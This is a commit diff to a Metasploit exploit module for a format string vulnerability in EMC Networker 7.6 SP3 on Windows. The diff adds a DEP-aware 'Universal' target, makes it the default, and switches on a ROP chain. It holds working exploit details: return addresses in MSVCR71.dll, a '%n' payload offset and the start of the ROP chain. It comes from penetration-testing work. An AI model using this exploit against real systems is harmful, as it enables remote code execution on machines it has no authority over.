added universal target

jvazquez-r7 · jvazquez-r7 · commit 88c99161b4d1 · 2012-11-03T18:52:07.000+01:00
diff --git a/modules/exploits/windows/emc/networker_format_string.rb b/modules/exploits/windows/emc/networker_format_string.rb
@@ -45,20 +45,29 @@ def initialize(info = {})
 				},
 			'Targets'        =>
 				[
+					['EMC Networker 7.6 SP3 / Windows Universal',
+						{
+							'Ret' => 0x7c354dac, # ret from MSVCR71.dll
+							'Offset' => 156,
+							'DEP' => true
+						}
+					],
 					['EMC Networker 7.6 SP3 / Windows XP SP3',
 						{
 							'Ret' => 0x7c345c30, # push esp # ret from MSVCR71.dll
-							'Offset' => 156
+							'Offset' => 156,
+							'DEP' => false
 						}
 					],
 					['EMC Networker 7.6 SP3 / Windows 2003 SP2',
 						{
 							'Ret' => 0x7c354dac, # ret from MSVCR71.dll
-							'Offset' => 156
+							'Offset' => 156,
+							'DEP' => true
 						}
 					]
 				],
-			'DefaultTarget'  => 1,
+			'DefaultTarget'  => 0,
 			'Privileged'     => true,
 			'DisclosureDate' => 'Aug 29 2012'))
 
@@ -73,7 +82,7 @@ def exploit
 
 			fs = "%n" * target['Offset']
 			fs << [target.ret].pack("V") # push esp # ret from MSVCR71.dll
-			if target.name =~ /Windows 2003/
+			if target['DEP']
 				rop_gadgets =
 					[
 						# rop chain generated with mona.py

Original file line number	Diff line number	Diff line change
`@@ -45,20 +45,29 @@ def initialize(info = {})`
`45`	`45`	`},`
`46`	`46`	`'Targets' =>`
`47`	`47`	`[`
	`48`	`+ ['EMC Networker 7.6 SP3 / Windows Universal',`
	`49`	`+ {`
	`50`	`+ 'Ret' => 0x7c354dac, # ret from MSVCR71.dll`
	`51`	`+ 'Offset' => 156,`
	`52`	`+ 'DEP' => true`
	`53`	`+ }`
	`54`	`+ ],`
`48`	`55`	`['EMC Networker 7.6 SP3 / Windows XP SP3',`
`49`	`56`	`{`
`50`	`57`	`'Ret' => 0x7c345c30, # push esp # ret from MSVCR71.dll`
`51`		`- 'Offset' => 156`
	`58`	`+ 'Offset' => 156,`
	`59`	`+ 'DEP' => false`
`52`	`60`	`}`
`53`	`61`	`],`
`54`	`62`	`['EMC Networker 7.6 SP3 / Windows 2003 SP2',`
`55`	`63`	`{`
`56`	`64`	`'Ret' => 0x7c354dac, # ret from MSVCR71.dll`
`57`		`- 'Offset' => 156`
	`65`	`+ 'Offset' => 156,`
	`66`	`+ 'DEP' => true`
`58`	`67`	`}`
`59`	`68`	`]`
`60`	`69`	`],`
`61`		`- 'DefaultTarget' => 1,`
	`70`	`+ 'DefaultTarget' => 0,`
`62`	`71`	`'Privileged' => true,`
`63`	`72`	`'DisclosureDate' => 'Aug 29 2012'))`
`64`	`73`
`@@ -73,7 +82,7 @@ def exploit`
`73`	`82`
`74`	`83`	`fs = "%n" * target['Offset']`
`75`	`84`	`fs << [target.ret].pack("V") # push esp # ret from MSVCR71.dll`
`76`		`- if target.name =~ /Windows 2003/`
	`85`	`+ if target['DEP']`
`77`	`86`	`rop_gadgets =`
`78`	`87`	`[`
`79`	`88`	`# rop chain generated with mona.py`